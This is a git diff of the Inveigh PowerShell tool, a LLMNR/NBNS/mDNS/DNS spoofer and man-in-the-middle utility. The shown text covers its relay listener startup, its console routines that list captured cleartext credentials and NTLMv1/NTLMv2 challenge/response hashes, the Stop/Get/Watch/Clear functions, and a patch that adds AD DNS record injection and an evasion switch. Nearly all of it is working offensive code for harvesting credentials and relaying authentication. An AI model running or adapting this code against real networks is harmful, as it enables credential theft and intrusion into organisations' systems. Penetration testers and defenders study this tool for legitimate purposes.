$HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( + $Service).AddArgument($SMB_version).AddArgument($SessionLimit).AddArgument($SessionPriority).AddArgument( + $Target).AddArgument($Username).AddArgument($WPADAuth).AddArgument($WPADAuthIgnore).AddArgument( + $WPADResponse) > $null + $HTTPS_powershell.BeginInvoke() > $null +} + +# Proxy Listener Startup Function +function ProxyListener +{ + $proxy_runspace = [RunspaceFactory]::CreateRunspace() + $HTTPS_listener = $false + $proxy_listener = $true + $proxy_runspace.Open() + $proxy_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $proxy_powershell = [PowerShell]::Create() + $proxy_powershell.Runspace = $proxy_runspace + $proxy_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $proxy_powershell.AddScript($packet_functions_scriptblock) > $null + $proxy_powershell.AddScript($SMB_relay_functions_scriptblock) > $null + $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Attack).AddArgument($Challenge).AddArgument( + $Command).AddArgument($ProxyIP).AddArgument($ProxyPort).AddArgument($HTTPResetDelay).AddArgument( + $HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( + $Service).AddArgument($SMB_version).AddArgument($SessionLimit).AddArgument($SessionPriority).AddArgument( + $Target).AddArgument($Username).AddArgument($WPADAuth).AddArgument($WPADAuthIgnore).AddArgument( + $WPADResponse) > $null + $proxy_powershell.BeginInvoke() > $null +} + +# Control Relay Startup Function +function ControlRelayLoop +{ + $control_relay_runspace = [RunspaceFactory]::CreateRunspace() + $control_relay_runspace.Open() + $control_relay_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $control_relay_powershell = [PowerShell]::Create() + $control_relay_powershell.Runspace = $control_relay_runspace + $control_relay_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $control_relay_powershell.AddScript($packet_functions_scriptblock) > $null + $control_relay_powershell.AddScript($SMB_relay_functions_scriptblock) > $null + $control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($ConsoleQueueLimit).AddArgument( + $RelayAutoExit).AddArgument($RunTime).AddArgument($SigningCheck) > $null + $control_relay_powershell.BeginInvoke() > $null +} + +# Session Refresh Startup Function +function SessionRefreshLoop +{ + $session_refresh_runspace = [RunspaceFactory]::CreateRunspace() + $session_refresh_runspace.Open() + $session_refresh_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $session_refresh_powershell = [PowerShell]::Create() + $session_refresh_powershell.Runspace = $session_refresh_runspace + $session_refresh_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $session_refresh_powershell.AddScript($packet_functions_scriptblock) > $null + $session_refresh_powershell.AddScript($SMB_relay_functions_scriptblock) > $null + $session_refresh_powershell.AddScript($session_refresh_scriptblock).AddArgument($SessionRefresh) > $null + $session_refresh_powershell.BeginInvoke() > $null +} + +# HTTP Server Start +if($HTTP -eq 'Y') +{ + HTTPListener + Start-Sleep -m 50 +} + +# HTTPS Server Start +if($HTTPS -eq 'Y') +{ + HTTPSListener + Start-Sleep -m 50 +} + +# Proxy Server Start +if($Proxy -eq 'Y') +{ + ProxyListener + Start-Sleep -m 50 +} + +# Control Relay Loop Start +ControlRelayLoop + +# Session Refresh Loop Start +if($SessionRefresh -gt 0) +{ + SessionRefreshLoop +} + +# Console Output Loop +try +{ + + if($inveigh.console_output) + { + + if($ConsoleStatus) + { + $console_status_timeout = New-TimeSpan -Minutes $ConsoleStatus + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + :console_loop while($inveigh.relay_running -and $inveigh.console_output) + { + + while($inveigh.console_queue.Count -gt 0) + { + + switch -wildcard ($inveigh.console_queue[0]) + { + + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Warning($inveigh.console_queue[0]) + } + + $inveigh.console_queue.RemoveAt(0) + } + + {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} + { + + if($ConsoleOutput -eq 'Y') + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + } + + $inveigh.console_queue.RemoveAt(0) + + } + + {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} + { + + if($ConsoleOutput -ne "Low") + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + } + + $inveigh.console_queue.RemoveAt(0) + + } + + default + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + $inveigh.console_queue.RemoveAt(0) + } + + } + + } + + if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout) + { + + if($inveigh.cleartext_list.Count -gt 0) + { + Write-Output("[*] [$(Get-Date -format s)] Current unique cleartext captures:" + $inveigh.newline) + $inveigh.cleartext_list.Sort() + + foreach($unique_cleartext in $inveigh.cleartext_list) + { + if($unique_cleartext -ne $unique_cleartext_last) + { + Write-Output($unique_cleartext + $inveigh.newline) + } + + $unique_cleartext_last = $unique_cleartext + } + + Start-Sleep -m 5 + } + else + { + Write-Output("[+] [$(Get-Date -format s)] No cleartext credentials have been captured" + $inveigh.newline) + } + + if($inveigh.POST_request_list.Count -gt 0) + { + Write-Output("[*] [$(Get-Date -format s)] Current unique POST request captures:" + $inveigh.newline) + $inveigh.POST_request_list.Sort() + + foreach($unique_POST_request in $inveigh.POST_request_list) + { + if($unique_POST_request -ne $unique_POST_request_last) + { + Write-Output($unique_POST_request + $inveigh.newline) + } + + $unique_POST_request_last = $unique_POST_request + } + + Start-Sleep -m 5 + } + + if($inveigh.NTLMv1_list.Count -gt 0) + { + Write-Output("[*] [$(Get-Date -format s)] Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv1_list.Sort() + + foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) + { + $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) + + if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + { + Write-Output($unique_NTLMv1 + $inveigh.newline) + } + + $unique_NTLMv1_account_last = $unique_NTLMv1_account + } + + $unique_NTLMv1_account_last = '' + Start-Sleep -m 5 + Write-Output("[*] [$(Get-Date -format s)] Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) + + foreach($NTLMv1_username in $inveigh.NTLMv1_username_list) + { + Write-Output($NTLMv1_username + $inveigh.newline) + } + + Start-Sleep -m 5 + } + else + { + Write-Output("[+] [$(Get-Date -format s)] No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) + } + + if($inveigh.NTLMv2_list.Count -gt 0) + { + Write-Output("[*] [$(Get-Date -format s)] Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv2_list.Sort() + + foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) + { + $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) + + if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + { + Write-Output($unique_NTLMv2 + $inveigh.newline) + } + + $unique_NTLMv2_account_last = $unique_NTLMv2_account + } + + $unique_NTLMv2_account_last = '' + Start-Sleep -m 5 + Write-Output("[*] [$(Get-Date -format s)] Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) + + foreach($NTLMv2_username in $inveigh.NTLMv2_username_list) + { + Write-Output($NTLMv2_username + $inveigh.newline) + } + + } + else + { + Write-Output("[+] [$(Get-Date -format s)] No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) + } + + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + + } + + if($inveigh.console_input) + { + + if([Console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + + } + + Start-Sleep -m 5 + } + + } + +} +finally +{ + + if($Tool -eq 2) + { + $inveigh.relay_running = $false + } + +} + +} +#End Invoke-InveighRelay + +function Stop-Inveigh +{ +<# +.SYNOPSIS +Stop-Inveigh will stop all running Inveigh functions. +#> + +if($inveigh) +{ + + if($inveigh.running -or $inveigh.relay_running) + { + + if($inveigh.DNS_list.Count -gt 0) + { + + foreach($DNS_host in $inveigh.DNS_list) + { + + if($DNS_host.StartsWith("1,")) + { + + $DNS_update = Invoke-DNSUpdate -DNSType A -DNSName $DNS_host.SubString(2) + + if($DNS_update -eq "[+] DNS update successful") + { + $output = "[+] [$(Get-Date -format s)] DNS host (A) record for " + $DNS_host.SubString(2) + " removed" + Write-Output $output + } + else + { + $output = "[-] [$(Get-Date -format s)] DNS host (A) record for " + $DNS_host.SubString(2) + " remove failed" + Write-Warning $output + } + + if($inveigh.file_output) + { + $output | Out-File $Inveigh.log_out_file -Append + } + + if($inveigh.log_output) + { + $inveigh.log.Add($output) > $null + } + + } + + } + + $inveigh.DNS_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_IP_list = New-Object System.Collections.ArrayList + } + + if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) + { + + try + { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + + ForEach($certificate in $certificates) + { + $certificate_store.Remove($certificate) + } + + $certificate_store.Close() + } + catch + { + $output = "[-] [$(Get-Date -format s)] SSL Certificate Deletion Error [Remove Manually]" + + if($inveigh.file_output) + { + $output | Out-File $Inveigh.log_out_file -Append + } + + if($inveigh.log_output) + { + $inveigh.log.Add($output) > $null + } + + Write-Warning $output + } + + } + + if($inveigh.relay_running) + { + $output = "[*] [$(Get-Date -format s)] Inveigh Relay is exiting" + + if($inveigh.file_output) + { + $output | Out-File $Inveigh.log_out_file -Append + } + + if($inveigh.log_output) + { + $inveigh.log.Add($output) > $null + } + + Write-Output $output + $inveigh.relay_running = $false + } + + if($inveigh.running) + { + $output = "[*] [$(Get-Date -format s)] Inveigh is exiting" + + if($inveigh.file_output) + { + $output | Out-File $Inveigh.log_out_file -Append + } + + if($inveigh.log_output) + { + $inveigh.log.Add($output) > $null + } + + Write-Output $output + $inveigh.running = $false + } + + $inveigh.HTTPS = $false + Start-Sleep -S 5 + } + else + { + Write-Output "[-] There are no running Inveigh functions" + } + +} + +} + +function Get-Inveigh +{ +<# +.SYNOPSIS +Get-Inveigh will get stored Inveigh data from memory. + +.PARAMETER Console +Get queued console output. This is also the default if no parameters are set. + +.PARAMETER DNS +Get added DNS host records. + +.PARAMETER DNSFailed +Get failed DNS host record adds. + +.PARAMETER Learning +Get valid hosts discovered through spoofer learning. + +.PARAMETER Log +Get log entries. + +.PARAMETER Cleartext +Get captured cleartext credentials. + +.PARAMETER CleartextUnique +Get unique captured cleartext credentials. + +.PARAMETER NTLMv1 +Get captured NTLMv1 challenge/response hashes. + +.PARAMETER NTLMv1Unique +Get the first captured NTLMv1 challenge/response for each unique account. + +.PARAMETER NTLMv1Usernames +Get IP addresses and usernames for captured NTLMv1 challenge/response hashes. + +.PARAMETER NTLMv2 +Get captured NTLMv1 challenge/response hashes. + +.PARAMETER NTLMv2Unique +Get the first captured NTLMv2 challenge/response for each unique account. + +.PARAMETER NTLMv2Usernames +Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. + +.PARAMETER POSTRequest +Get captured POST requests. + +.PARAMETER POSTRequestUnique +Get unique captured POST request. +#> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][Switch]$Cleartext, + [parameter(Mandatory=$false)][Switch]$CleartextUnique, + [parameter(Mandatory=$false)][Switch]$Console, + [parameter(Mandatory=$false)][Switch]$DNS, + [parameter(Mandatory=$false)][Switch]$DNSFailed, + [parameter(Mandatory=$false)][Switch]$Learning, + [parameter(Mandatory=$false)][Switch]$Log, + [parameter(Mandatory=$false)][Switch]$NTLMv1, + [parameter(Mandatory=$false)][Switch]$NTLMv2, + [parameter(Mandatory=$false)][Switch]$NTLMv1Unique, + [parameter(Mandatory=$false)][Switch]$NTLMv2Unique, + [parameter(Mandatory=$false)][Switch]$NTLMv1Usernames, + [parameter(Mandatory=$false)][Switch]$NTLMv2Usernames, + [parameter(Mandatory=$false)][Switch]$POSTRequest, + [parameter(Mandatory=$false)][Switch]$POSTRequestUnique, + [parameter(Mandatory=$false)][Switch]$Session, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($Console -or $PSBoundParameters.Count -eq 0) + { + + while($inveigh.console_queue.Count -gt 0) + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveAt(0) + } + else + { + + switch -wildcard ($inveigh.console_queue[0]) + { + + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} + { + Write-Warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + default + { + Write-Output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + } + + } + + } + + } + + if($DNS) + { + + foreach($DNS in $inveigh.DNS_list) + { + + if($DNS.StartsWith("1,")) + { + Write-Output $DNS.Substring(2) + } + + } + + } + + if($DNSFailed) + { + + foreach($DNS in $inveigh.DNS_list) + { + + if($DNS.StartsWith("0,")) + { + Write-Output $DNS.Substring(2) + } + + } + + } + + if($Log) + { + Write-Output $inveigh.log + } + + if($NTLMv1) + { + Write-Output $inveigh.NTLMv1_list + } + + if($NTLMv1Unique) + { + $inveigh.NTLMv1_list.Sort() + + foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) + { + $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) + + if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + { + Write-Output $unique_NTLMv1 + } + + $unique_NTLMv1_account_last = $unique_NTLMv1_account + } + + } + + if($NTLMv1Usernames) + { + Write-Output $inveigh.NTLMv2_username_list + } + + if($NTLMv2) + { + Write-Output $inveigh.NTLMv2_list + } + + if($NTLMv2Unique) + { + $inveigh.NTLMv2_list.Sort() + + foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) + { + $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) + + if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + { + Write-Output $unique_NTLMv2 + } + + $unique_NTLMv2_account_last = $unique_NTLMv2_account + } + + } + + if($NTLMv2Usernames) + { + Write-Output $inveigh.NTLMv2_username_list + } + + if($Cleartext) + { + Write-Output $inveigh.cleartext_list + } + + if($CleartextUnique) + { + Write-Output $inveigh.cleartext_list | Get-Unique + } + + if($POSTRequest) + { + Write-Output $inveigh.POST_request_list + } + + if($POSTRequestUnique) + { + Write-Output $inveigh.POST_request_list | Get-Unique + } + + if($Learning) + { + Write-Output $inveigh.valid_host_list + } + + if($Session) + { + $i = 0 + + while($i -lt $inveigh.session_socket_table.Count) + { + + if(!$inveigh.session_socket_table[$i].Connected) + { + $inveigh.session_list[$i] | Where-Object {$_.Status = "disconnected"} + } + + $i++ + } + + Write-Output $inveigh.session_list | Format-Table -AutoSize + } + +} + +function Watch-Inveigh +{ +<# +.SYNOPSIS +Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell. + +.PARAMETER ConsoleOutput +(Medium,Low) Medium and Low can be used to reduce output. +#> + +[CmdletBinding()] +param +( + [parameter(Mandatory=$false)][ValidateSet("Low","Medium")][String]$ConsoleOutput = "Y", + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if($inveigh.tool -ne 1) +{ + + if($inveigh.running -or $inveigh.relay_running) + { + Write-Output "[*] Press any key to stop real time console output" + $inveigh.console_output = $true + + :console_loop while((($inveigh.running -or $inveigh.relay_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + { + + while($inveigh.console_queue.Count -gt 0) + { + + switch -wildcard ($inveigh.console_queue[0]) + { + + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} + { + Write-Warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} + { + + if($ConsoleOutput -eq 'Y') + { + Write-Output $inveigh.console_queue[0] + } + + $inveigh.console_queue.RemoveAt(0) + + } + + {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} + { + + if($ConsoleOutput -ne "Low") + { + Write-Output $inveigh.console_queue[0] + } + + $inveigh.console_queue.RemoveAt(0) + + } + + default + { + Write-Output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + } + + } + + if([Console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + + Start-Sleep -m 5 + } + + } + else + { + Write-Output "[-] Inveigh isn't running" + } + +} +else +{ + Write-Output "[-] Watch-Inveigh cannot be used with current external tool selection" +} + +} + +function Clear-Inveigh +{ +<# +.SYNOPSIS +Clear-Inveigh will clear Inveigh data from memory. +#> + +if($inveigh) +{ + + if(!$inveigh.running -and !$inveigh.relay_running) + { + Remove-Variable inveigh -scope global + Write-Output "[+] Inveigh data has been cleared from memory" + } + else + { + Write-Output "[-] Run Stop-Inveigh before running Clear-Inveigh" + } + +} + +}
\ No newline at end of file diff --git a/Scripts/Inveigh.ps1 b/Inveigh.ps1 index 0510489..0ab78a1 100644 --- a/Scripts/Inveigh.ps1 +++ b/Inveigh.ps1 @@ -2,13 +2,14 @@ function Invoke-Inveigh { <# .SYNOPSIS -Invoke-Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool with challenge/response +Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS/mDNS/DNS spoofer/man-in-the-middle tool with challenge/response capture over HTTP/HTTPS/Proxy/SMB. .DESCRIPTION -Invoke-Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spooferman-in-the-middle tool with the following features: +Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS/mDNS/DNS spoofer/man-in-the-middle tool with the following features: IPv4 LLMNR/mDNS/NBNS spoofer with granular control + AD DNS injection through secure dynamic updates NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/Proxy/SMB Basic auth cleartext credential capture over HTTP/HTTPS/Proxy WPAD server capable of hosting a basic or custom wpad.dat file @@ -36,6 +37,17 @@ displaying full capture lists when running through a shell that does not have ac Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations when real time console output is enabled. +.PARAMETER DNS +Default = Disabled: (Y/N) Enable/Disable injecting DNS host (A) records using dynamic updates. + +.PARAMETER DNSThreshold +Default = 5: The threshold used to determine when DNS records are injected. Inveigh will track identical LLMNR and +NBNS requests received from multiple systems. DNS records will be injected once the system count for identical LLMNR +and NBNS requests reaches the threshold. + +.PARAMETER DNSTTL +Default = 3600 Seconds: DNS TTL in seconds for A records. + .PARAMETER ElevatedPrivilege Default = Auto: (Auto/Y/N) Set the privilege mode. Auto will determine if Inveigh is running with elevated privilege. If so, options that require elevated privilege can be used. @@ -117,7 +129,7 @@ not want NTLMv1/NTLMv2 captures over SMB. Without elevated privilege, the desire enabled. .PARAMETER IP -Local IP address for listening and packet sniffing. This IP address will also be used for LLMNR/mDNS/NBNS spoofing +Local IP address for listening and packet sniffing. This IP address will also be used for LLMNR/NBNS/mDNS/DNS spoofing if the SpooferIP parameter is not set. .PARAMETER LogOutput @@ -316,6 +328,7 @@ https://github.com/Kevin-Robertson/Inveigh [CmdletBinding()] param ( + [parameter(Mandatory=$false)][Array]$DNSHostsIgnore = ("isatap","wpad"), [parameter(Mandatory=$false)][Array]$HTTPResetDelay = "Firefox", [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox", [parameter(Mandatory=$false)][Array]$SpooferHostsReply = "", @@ -326,6 +339,8 @@ param [parameter(Mandatory=$false)][Array]$WPADAuthIgnore = "Firefox", [parameter(Mandatory=$false)][Int]$ConsoleQueueLimit = "-1", [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", + [parameter(Mandatory=$false)][Int]$DNSThreshold = "5", + [parameter(Mandatory=$false)][Int]$DNSTTL = "3600", [parameter(Mandatory=$false)][Int]$HTTPPort = "80", [parameter(Mandatory=$false)][Int]$HTTPSPort = "443", [parameter(Mandatory=$false)][Int]$HTTPResetDelayTimeout = "30", @@ -350,6 +365,8 @@ param [parameter(Mandatory=$false)][String]$WPADResponse = "", [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$DNS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Evade = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", @@ -392,11 +409,11 @@ param if ($invalid_parameter) { - Write-Output "Error:$($invalid_parameter) is not a valid parameter" + Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } -$inveigh_version = "1.3.2" +$inveigh_version = "1.4 Dev" if(!$IP) { @@ -413,7 +430,7 @@ if($HTTPDefaultFile -or $HTTPDefaultEXE) if(!$HTTPDir) { - Write-Output "Error:You must specify an -HTTPDir when using either -HTTPDefaultFile or -HTTPDefaultEXE" + Write-Output "[-] You must specify an -HTTPDir when using either -HTTPDefaultFile or -HTTPDefaultEXE" throw } @@ -424,13 +441,13 @@ if($WPADIP -or $WPADPort) if(!$WPADIP) { - Write-Output "Error:You must specify a -WPADPort to go with -WPADIP" + Write-Output "[-] You must specify a -WPADPort to go with -WPADIP" throw } if(!$WPADPort) { - Write-Output "Error:You must specify a -WPADIP to go with -WPADPort" + Write-Output "[-] You must specify a -WPADIP to go with -WPADPort" throw } @@ -438,7 +455,7 @@ if($WPADIP -or $WPADPort) if($NBNSBruteForce -eq 'Y' -and !$NBNSBruteForceTarget) { - Write-Output "Error:You must specify a -NBNSBruteForceTarget if enabling -NBNSBruteForce" + Write-Output "[-] You must specify a -NBNSBruteForceTarget if enabling -NBNSBruteForce" throw } @@ -464,11 +481,22 @@ if(!$inveigh) $inveigh.POST_request_list = New-Object System.Collections.ArrayList $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList $inveigh.valid_host_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_IP_list = New-Object System.Collections.ArrayList + $inveigh.DNS_list = New-Object System.Collections.ArrayList + $inveigh.session_socket_table = [HashTable]::Synchronized(@{}) + $inveigh.session_table = [HashTable]::Synchronized(@{}) + $inveigh.session_message_ID_table = [HashTable]::Synchronized(@{}) + $inveigh.session_user_table = [HashTable]::Synchronized(@{}) + $inveigh.session_timestamp_table = [HashTable]::Synchronized(@{}) + $inveigh.session_lock_table = [HashTable]::Synchronized(@{}) + $inveigh.session_privilege_table = [HashTable]::Synchronized(@{}) + $inveigh.session_count = 0 } if($inveigh.running) { - Write-Output "Error:Invoke-Inveigh is already running, use Stop-Inveigh" + Write-Output "[-] Inveigh is already running" throw } @@ -486,8 +514,8 @@ if(!$inveigh.relay_running) $inveigh.log_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList + $inveigh.output_queue = New-Object System.Collections.ArrayList $inveigh.POST_request_file_queue = New-Object System.Collections.ArrayList - $inveigh.status_queue = New-Object System.Collections.ArrayList $inveigh.console_input = $true $inveigh.console_output = $false $inveigh.file_output = $false @@ -556,19 +584,25 @@ if(!$elevated_privilege) if($HTTPS -eq 'Y') { - Write-Output "Error:-HTTPS requires elevated privileges" + Write-Output "[-] HTTPS requires elevated privileges" throw } if($SpooferLearning -eq 'Y') { - Write-Output "Error:-SpooferLearning requires elevated privileges" + Write-Output "[-] SpooferLearning requires elevated privileges" throw } $NBNS = "Y" $SMB = "N" +} +if($DNS -eq 'Y' -and !(Get-Command Invoke-DNSupdate -errorAction SilentlyContinue)) +{ + Write-Output "[-] DNS requires Invoke-DNSUpdate" + throw + $DNS = "N" } $inveigh.hostname_spoof = $false @@ -626,7 +660,7 @@ elseif($Tool -eq 2) # PowerShell Empire $inveigh.tool = 2 $inveigh.output_stream_only = $true $inveigh.console_input = $false - $inveigh.newline = "`n" # remove for Empire 2.0 + $inveigh.newline = "" $LogOutput = "N" $ShowHelp = "N" @@ -658,50 +692,28 @@ else } # Write startup messages -$inveigh.status_queue.Add("Inveigh $inveigh_version started at $(Get-Date -format 's')") > $null - -if($FileOutput -eq 'Y') -{ - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh $inveigh_version started") > $null -} -if($LogOutput -eq 'Y') -{ - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh started") > $null - $inveigh.log_output = $true -} -else -{ - $inveigh.log_output = $false -} +$inveigh.output_queue.Add("[*] Inveigh $inveigh_version started at $(Get-Date -format s)") > $null if($ElevatedPrivilege -eq 'Y' -or $elevated_privilege) { - $inveigh.status_queue.Add("Elevated Privilege Mode = Enabled") > $null + $inveigh.output_queue.Add("[+] Elevated Privilege Mode = Enabled") > $null } else { - $inveigh.status_queue.Add("Elevated Privilege Mode = Disabled") > $null + $inveigh.output_queue.Add("[!] Elevated Privilege Mode = Disabled") > $null } if($firewall_status) { - $inveigh.status_queue.Add("Windows Firewall = Enabled") > $null - $firewall_rules = New-Object -comObject HNetCfg.FwPolicy2 - $firewall_powershell = $firewall_rules.rules | Where-Object {$_.Enabled -eq $true -and $_.Direction -eq 1} |Select-Object -Property Name | Select-String "Windows PowerShell}" - - if($firewall_powershell) - { - $inveigh.status_queue.Add("Windows Firewall - PowerShell.exe = Allowed") > $null - } - + $inveigh.output_queue.Add("[!] Windows Firewall = Enabled") > $null } -$inveigh.status_queue.Add("Primary IP Address = $IP") > $null +$inveigh.output_queue.Add("[+] Primary IP Address = $IP") > $null if($LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y') { - $inveigh.status_queue.Add("LLMNR/mDNS/NBNS Spoofer IP Address = $SpooferIP") > $null + $inveigh.output_queue.Add("[+] LLMNR/NBNS/mDNS/DNS Spoofer IP Address = $SpooferIP") > $null } if($LLMNR -eq 'Y') @@ -709,21 +721,20 @@ if($LLMNR -eq 'Y') if($elevated_privilege -or !$LLMNR_port_check) { - $inveigh.status_queue.Add("LLMNR Spoofer = Enabled") > $null - $inveigh.status_queue.Add("LLMNR TTL = $LLMNRTTL Seconds") > $null - $LLMNR_response_message = "- response sent" + $inveigh.output_queue.Add("[+] LLMNR Spoofer = Enabled") > $null + $inveigh.output_queue.Add("[+] LLMNR TTL = $LLMNRTTL Seconds") > $null } else { $LLMNR = "N" - $inveigh.status_queue.Add("LLMNR Spoofer Disabled Due To In Use Port 5355") > $null + $inveigh.output_queue.Add("[-] LLMNR Spoofer Disabled Due To In Use Port 5355") > $null } } else { - $inveigh.status_queue.Add("LLMNR Spoofer = Disabled") > $null - $LLMNR_response_message = "- LLMNR spoofer is disabled" + $inveigh.output_queue.Add("[+] LLMNR Spoofer = Disabled") > $null + $LLMNR_response_message = "[LLMNR spoofer is disabled]" } if($mDNS -eq 'Y') @@ -735,134 +746,142 @@ if($mDNS -eq 'Y') if($mDNSTypes.Count -eq 1) { - $inveigh.status_queue.Add("mDNS Spoofer For Type $mDNSTypes_output = Enabled") > $null + $inveigh.output_queue.Add("[+] mDNS Spoofer For Type $mDNSTypes_output = Enabled") > $null } else { - $inveigh.status_queue.Add("mDNS Spoofer For Types $mDNSTypes_output = Enabled") > $null + $inveigh.output_queue.Add("[+] mDNS Spoofer For Types $mDNSTypes_output = Enabled") > $null } - $inveigh.status_queue.Add("mDNS TTL = $mDNSTTL Seconds") > $null - $mDNS_response_message = "- response sent" - + $inveigh.output_queue.Add("[+] mDNS TTL = $mDNSTTL Seconds") > $null } else { $mDNS = "N" - $inveigh.status_queue.Add("mDNS Spoofer Disabled Due To In Use Port 5353") > $null + $inveigh.output_queue.Add("[-] mDNS Spoofer Disabled Due To In Use Port 5353") > $null } } else { - $inveigh.status_queue.Add("mDNS Spoofer = Disabled") > $null - $mDNS_response_message = "- mDNS spoofer is disabled" + $inveigh.output_queue.Add("[+] mDNS Spoofer = Disabled") > $null + $mDNS_response_message = "[mDNS spoofer is disabled]" } if($NBNS -eq 'Y') { $NBNSTypes_output = $NBNSTypes -join "," - $NBNS_response_message = "- response sent" if($NBNSTypes.Count -eq 1) { - 